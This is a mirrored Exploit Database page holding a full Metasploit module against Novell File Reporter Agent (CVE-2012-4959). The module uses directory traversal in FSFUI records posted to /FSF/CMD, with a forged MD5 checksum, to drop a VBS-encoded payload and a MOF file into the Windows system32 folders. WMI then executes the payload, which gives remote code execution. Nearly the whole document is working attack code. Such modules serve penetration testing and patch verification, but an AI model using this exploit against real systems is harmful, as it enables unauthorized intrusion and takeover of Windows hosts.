Novell File Reporter (NFR) Agent FSFUI Record – Arbitrary File Upload / Remote Code Execution (Metasploit)

• Exploit Database
• 95 阅读

• 作者： Metasploit
  日期： 2012-11-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/22787/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NFR Agent FSFUI Record File Upload RCE',
  			'Description'=> %q{
  				NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
  				arbitrary files via a directory traversal while handling requests to /FSF/CMD with
  				FSFUI records with UICMD 130. This module has been tested successfully against NFR
  				Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'juan vazquez'
  				],
  			'References' =>
  				[
  					[ 'CVE', 'CVE-2012-4959'],
  					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 2048,
  					'StackAdjustment' => -3500
  				},
  			'DefaultOptions' =>
  				{
  					'WfsDelay' => 20
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					#Windows before Vista
  					[ 'Automatic', { } ]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Nov 16 2012'))
  
  		register_options(
  			[
  				Opt::RPORT(3037),
  				OptBool.new('SSL', [true, 'Use SSL', true]),
  				OptInt.new('DEPTH', [true, 'Traversal depth', 6])
  			], self.class)
  
  	end
  
  	def on_new_session(client)
  
  		return if not @var_mof_name
  		return if not @var_vbs_name
  
  		if client.type != "meterpreter"
  			print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
  			print_error("The following files must be removed manually:")
  			print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
  			print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
  			return # That's it
  		end
  
  		# stdapi must be loaded before we can use fs.file
  		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  
  		begin
  			print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
  			windir = client.fs.file.expand_path("%WINDIR%")
  			client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
  			print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
  			cmd = "#{windir}\\system32\\attrib.exe -r " +
  				"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
  			client.sys.process.execute(cmd, nil, {'Hidden' => true })
  			client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
  		rescue ::Exception => e
  			print_error("Exception: #{e.inspect}")
  		end
  
  	end
  
  	def peer
  		"#{rhost}:#{rport}"
  	end
  
  	def exploit
  
  		# In order to save binary data to the file system the payload is written to a .vbs
  		# file and execute it from there.
  		@var_mof_name = rand_text_alpha(rand(5)+5)
  		@var_vbs_name = rand_text_alpha(rand(5)+5)
  
  		print_status("Encoding payload into VBS...")
  		payload = generate_payload_exe
  		vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
  
  		print_status("Generating VBS file...")
  		mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
  
  		print_status("#{peer} - Uploading the VBS file")
  		worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
  		unless worked
  			fail_with(Failure::NotVulnerable, "Failed to upload the file")
  		end
  
  		print_status("#{peer} - Uploading the MOF file")
  		upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
  	end
  
  	def upload_file(filename, content)
  		traversal = "..\\" * datastore['DEPTH']
  		traversal << filename
  
  		record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
  		md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
  		message = md5 + record
  
  		res = send_request_cgi(
  			{
  				'uri' => '/FSF/CMD',
  				'version' => '1.1',
  				'method'=> 'POST',
  				'ctype' => "text/xml",
  				'data'=> message,
  			})
  
  		if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
  			print_warning("#{peer} - File successfully uploaded: #{filename}")
  		else
  			print_error("#{peer} - Failed to upload the file")
  			return false
  		end
  
  		true
  	end
  
  end
  

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